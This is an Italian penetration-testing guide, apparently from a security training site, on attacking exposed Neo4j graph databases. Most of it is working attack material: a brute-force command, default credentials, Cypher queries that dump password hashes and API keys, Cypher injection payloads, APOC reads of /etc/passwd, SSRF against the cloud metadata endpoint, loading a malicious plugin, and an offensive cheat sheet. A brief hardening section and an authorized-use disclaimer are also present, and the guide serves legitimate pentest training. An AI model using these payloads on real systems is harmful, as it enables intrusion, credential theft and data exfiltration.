networking

Neo4j Pentest: Cypher Injection, APOC RCE e Porta 7474

Neo4j Pentest: Cypher Injection, APOC RCE e Porta 7474

Pentest Neo4j porta 7474/7687: enumerazione, default credentials, Cypher injection, APOC RCE, dump hash e API key. Guida completa 2026.

  • Pubblicato il 2026-04-16
  • Tempo di lettura: 5 min

Neo4j è il database a grafo più diffuso al mondo. Se non lo conosci, pensa a un database dove i dati non sono organizzati in tabelle (come MySQL o PostgreSQL) ma in nodi e relazioni — perfetto per social network, sistemi di raccomandazione, fraud detection, knowledge graph e identity management. Ascolta sulla porta 7474 TCP (HTTP/Browser UI) e 7687 TCP (protocollo Bolt per le query). Nel penetration testing, un Neo4j esposto è interessante per due ragioni: primo, spesso gira senza autenticazione di default (nelle versioni community fino alla 4.x); secondo, i dati che contiene sono tipicamente relazioni tra entità — utenti, ruoli, permessi, device, transazioni — che ti danno una comprensione profonda della struttura organizzativa del target. E poi c’è la Cypher injection: l’equivalente della SQL injection per i database a grafo, meno conosciuta e quindi meno difesa.

Chi usa Neo4j? Fintech per il fraud detection, enterprise per l’identity and access management, social platform per i grafi sociali, cybersecurity per il threat intelligence. Se lo trovi durante un pentest, i dati che contiene hanno quasi sempre un valore alto.

Architettura Neo4j #

text
Client                              Neo4j Server
┌──────────────┐                   ┌──────────────────────┐
│ Browser UI   │── HTTP :7474 ───►│ Neo4j Browser        │
│              │                   │  (query Cypher)      │
│ Driver app   │── Bolt :7687 ───►│ Neo4j Core           │
│ (Python/Java)│                   │  (database engine)   │
│              │                   │                      │
│ curl/API     │── HTTP :7474 ───►│ REST API             │
│              │                   │  /db/neo4j/tx        │
└──────────────┘                   └──────────────────────┘
PortaProtocolloFunzione
7474HTTPBrowser UI + REST API
7473HTTPSBrowser UI cifrato
7687BoltProtocollo nativo per query

1. Enumerazione #

Nmap #

bash
nmap -sV -p 7474,7473,7687 10.10.10.40
text
PORT     STATE SERVICE VERSION
7474/tcp open  http    Neo4j Browser/REST API
7687/tcp open  bolt    Neo4j Bolt protocol

Versione e stato #

bash
curl -s http://10.10.10.40:7474/ | python3 -m json.tool
json
{
    "bolt_routing": "neo4j://10.10.10.40:7687",
    "transaction": "http://10.10.10.40:7474/db/{databaseName}/tx",
    "bolt_direct": "bolt://10.10.10.40:7687",
    "neo4j_version": "5.15.0",
    "neo4j_edition": "community"
}

Intelligence: versione esatta, edizione (community = no auth in alcune config), endpoint Bolt.

Browser UI #

bash
# Apri nel browser
# http://10.10.10.40:7474/browser/

La Neo4j Browser è un’interfaccia web completa per eseguire query Cypher. Se accessibile senza auth, hai un IDE per interrogare l’intero database.

2. Autenticazione #

Senza autenticazione #

Neo4j Community Edition nelle versioni più vecchie (pre-4.x) o con dbms.security.auth_enabled=false nel config non richiede credenziali. Testa:

bash
# REST API senza auth
curl -s http://10.10.10.40:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -d '{"statements":[{"statement":"RETURN 1 AS test"}]}'
json
{"results":[{"columns":["test"],"data":[{"row":[1]}]}],"errors":[]}

Se risponde con risultati → accesso completo senza credenziali.

Default credentials #

UsernamePasswordNote
neo4jneo4jDefault — richiede cambio al primo login
neo4jpasswordPassword cambiata al minimo
neo4jadminComune in dev
neo4jtestAmbiente di test
bash
# Test con auth
curl -s -u neo4j:neo4j http://10.10.10.40:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -d '{"statements":[{"statement":"RETURN 1"}]}'

Se ricevi Neo.ClientError.Security.AuthenticationRateLimit → rate limiting attivo, vai piano.

Brute force #

bash
hydra -l neo4j -P /usr/share/wordlists/rockyou.txt 10.10.10.40 http-post-form \
  "/db/neo4j/tx/commit:'{\"statements\":[{\"statement\":\"RETURN 1\"}]}':errors" \
  -s 7474

# Con cypher-shell
for pass in neo4j password admin test changeme; do
    cypher-shell -a bolt://10.10.10.40:7687 -u neo4j -p "$pass" "RETURN 1" 2>/dev/null && echo "FOUND: $pass"
done

3. Enumerazione del Database #

Metadati — cosa contiene il database #

bash
# Funzione helper per eseguire query Cypher via REST API
cypher() {
    curl -s -u neo4j:password http://10.10.10.40:7474/db/neo4j/tx/commit \
      -H "Content-Type: application/json" \
      -d "{\"statements\":[{\"statement\":\"$1\"}]}"
}
bash
# Tutti i tipi di nodi (label)
cypher "CALL db.labels()"
json
["User","Role","Permission","Device","Transaction","Account","Organization"]

Sette tipi di entità. Questo sembra un sistema IAM (Identity Access Management) o un fraud detection.

bash
# Tutti i tipi di relazioni
cypher "CALL db.relationshipTypes()"
json
["HAS_ROLE","HAS_PERMISSION","BELONGS_TO","MADE_TRANSACTION","OWNS_DEVICE","LOGGED_IN_FROM"]

La struttura è chiara: utenti hanno ruoli e permessi, fanno transazioni, possiedono device.

bash
# Conteggio nodi per tipo
cypher "MATCH (n) RETURN labels(n) AS tipo, count(n) AS conteggio ORDER BY conteggio DESC"
json
[["Transaction"], 1500000],
[["Device"], 45000],
[["User"], 12000],
[["Account"], 12000],
[["Permission"], 200],
[["Role"], 15],
[["Organization"], 5]

12000 utenti, 15 ruoli, 5 organizzazioni, 1.5M transazioni.

Proprietà dei nodi #

bash
# Proprietà del nodo User
cypher "MATCH (u:User) RETURN keys(u) LIMIT 1"
json
["username","email","password_hash","phone","created_at","last_login","api_key","status"]

I nodi User contengono password_hash e api_key. Ora estraiamo tutto.

4. Extraction — Credenziali e Dati Sensibili #

Dump utenti con hash password #

bash
cypher "MATCH (u:User) RETURN u.username, u.email, u.password_hash, u.api_key LIMIT 100"
json
[
    {"row": ["admin", "admin@corp.com", "$2b$12$abc...", "ak_live_abc123"]},
    {"row": ["j.rossi", "j.rossi@corp.com", "$2b$12$def...", "ak_live_def456"]},
    {"row": ["m.bianchi", "m.bianchi@corp.com", "$2b$12$ghi...", null]}
]

Hash bcrypt → Hashcat mode 3200. API key → accesso diretto all’applicazione.

Utenti admin e privilegi #

bash
# Chi ha il ruolo "admin"?
cypher "MATCH (u:User)-[:HAS_ROLE]->(r:Role {name:'admin'}) RETURN u.username, u.email"
json
[
    {"row": ["admin", "admin@corp.com"]},
    {"row": ["svc_system", "system@corp.com"]}
]

Mappa permessi (il potere del grafo) #

bash
# Tutti i permessi dell'utente "admin" (traversando il grafo)
cypher "MATCH (u:User {username:'admin'})-[:HAS_ROLE]->(r:Role)-[:HAS_PERMISSION]->(p:Permission) RETURN r.name, collect(p.name)"
json
[{"row": ["admin", ["read_all","write_all","delete_users","manage_billing","api_full_access"]]}]

Relazioni tra organizzazioni e utenti #

bash
cypher "MATCH (o:Organization)<-[:BELONGS_TO]-(u:User) RETURN o.name, count(u) AS members ORDER BY members DESC"
json
[
    {"row": ["Corp SpA", 8000]},
    {"row": ["Partner Ltd", 3000]},
    {"row": ["Subsidiary GmbH", 1000]}
]

Transazioni sospette (fraud detection data) #

bash
cypher "MATCH (u:User)-[:MADE_TRANSACTION]->(t:Transaction) WHERE t.amount > 10000 RETURN u.username, t.amount, t.recipient, t.date ORDER BY t.amount DESC LIMIT 20"

Dati finanziari con importi, destinatari e date.

5. Cypher Injection #

L’equivalente della SQL injection per Neo4j. Se un’applicazione web costruisce query Cypher concatenando input utente:

python
# Codice vulnerabile (Python/Flask)
query = f"MATCH (u:User {{username:'{username}'}}) RETURN u"

Payload di test #

bash
# Nel campo username dell'applicazione web:
' OR 1=1 RETURN u //

# Dump tutti gli utenti
' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u.username, u.password_hash //

# Conta i nodi
' RETURN 1 UNION MATCH (n) RETURN count(n) //

Injection via parametri URL #

bash
# Se l'app usa parametri GET per le query
curl -s "http://10.10.10.40:8080/api/user?name=' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u.username, u.password_hash //"

Cypher injection per file read (con APOC) #

Se la libreria APOC è installata:

bash
# Leggi file dal filesystem
' WITH 1 AS a CALL apoc.load.csv('file:///etc/passwd') YIELD list RETURN list //

Cypher injection per RCE (con APOC) #

bash
# Esegui comandi (richiede APOC unrestricted)
' WITH 1 AS a CALL apoc.cypher.runFile('file:///tmp/evil.cypher') YIELD value RETURN value //

6. RCE — Remote Code Execution #

APOC (Awesome Procedures on Cypher) #

APOC è la libreria di procedure estese più usata in Neo4j. Se installata con modalità unrestricted:

bash
# Verifica se APOC è installato
cypher "CALL apoc.help('apoc')"
cypher "RETURN apoc.version()"
bash
# Leggi file
cypher "CALL apoc.load.csv('file:///etc/passwd') YIELD list RETURN list"

# HTTP request (SSRF)
cypher "CALL apoc.load.json('http://169.254.169.254/latest/meta-data/') YIELD value RETURN value"

Se APOC ha accesso alla rete → SSRF verso servizi interni e cloud metadata (AWS credential theft).

Procedure custom (Java) #

Se puoi caricare plugin (accesso al filesystem o alla console admin):

bash
# Copia un JAR malevolo nella directory plugins
# /var/lib/neo4j/plugins/evil.jar

# Riavvia Neo4j → la procedura è disponibile
cypher "CALL evil.exec('id')"

Neo4j config file #

bash
# Se hai accesso al filesystem
cat /etc/neo4j/neo4j.conf | grep -iE "password|auth|apoc|dbms.security"
text
dbms.security.auth_enabled=false
dbms.security.procedures.unrestricted=apoc.*

auth_enabled=false conferma: nessuna autenticazione. procedures.unrestricted=apoc.* → tutte le procedure APOC senza restrizioni.

7. Lateral Movement #

Credenziali estratte → altri servizi #

bash
# Hash craccati → test password su SSH, RDP, WinRM
# API key → accesso diretto all'applicazione
# Email → target per phishing

# Cerca connessioni ad altri database nei config
cypher "MATCH (n) WHERE any(k IN keys(n) WHERE k CONTAINS 'connection' OR k CONTAINS 'jdbc' OR k CONTAINS 'url') RETURN n LIMIT 10"

Mappa rete dai dati Neo4j #

bash
# Se Neo4j contiene dati di device/rete
cypher "MATCH (d:Device) RETURN d.ip, d.hostname, d.os, d.type LIMIT 50"

I sistemi di asset management e CMDB spesso usano Neo4j → mappa completa dell’infrastruttura.

8. Detection & Hardening #

  • dbms.security.auth_enabled=true — sempre, anche in development
  • Password forte per l’utente neo4j — non lasciare il default
  • APOC in modalità restricteddbms.security.procedures.unrestricted= vuoto
  • Bind su 127.0.0.1 se non serve accesso remoto
  • Firewall — porte 7474/7473/7687 solo dall’applicazione
  • TLS — usa la porta 7473 (HTTPS) e Bolt+TLS
  • RBAC (Enterprise Edition) — utenti con permessi granulari per database e operazioni
  • Non salvare password in chiaro nei nodi — hash lato applicazione
  • Audit log — abilita per tracciare query sensibili

9. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 7474,7687 target
Versionecurl -s http://target:7474/
Browser UIhttp://target:7474/browser/
Test no-authcurl -s http://target:7474/db/neo4j/tx/commit -d '{"statements":[{"statement":"RETURN 1"}]}'
Default credsneo4j:neo4j
Cypher-shellcypher-shell -a bolt://target:7687 -u neo4j -p pass
LabelsCALL db.labels()
RelationshipsCALL db.relationshipTypes()
Dump utentiMATCH (u:User) RETURN u.username, u.password_hash
Admin usersMATCH (u)-[:HAS_ROLE]->(r:Role {name:'admin'}) RETURN u
APOC checkRETURN apoc.version()
File readCALL apoc.load.csv('file:///etc/passwd')
SSRFCALL apoc.load.json('http://169.254.169.254/')
Cypher injection' OR 1=1 WITH 1 AS a MATCH (u:User) RETURN u //

Riferimento: Neo4j Security documentation, OWASP NoSQL injection, HackTricks Neo4j. Uso esclusivo in ambienti autorizzati. https://neo4j.com/

Neo4j nella tua infrastruttura? I database a grafo hanno vulnerabilità uniche che i penetration test standard non coprono. Assessment specializzato HackIta oppure impara l’exploitation NoSQL 1:1.

#neo4j #cypher-injection

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.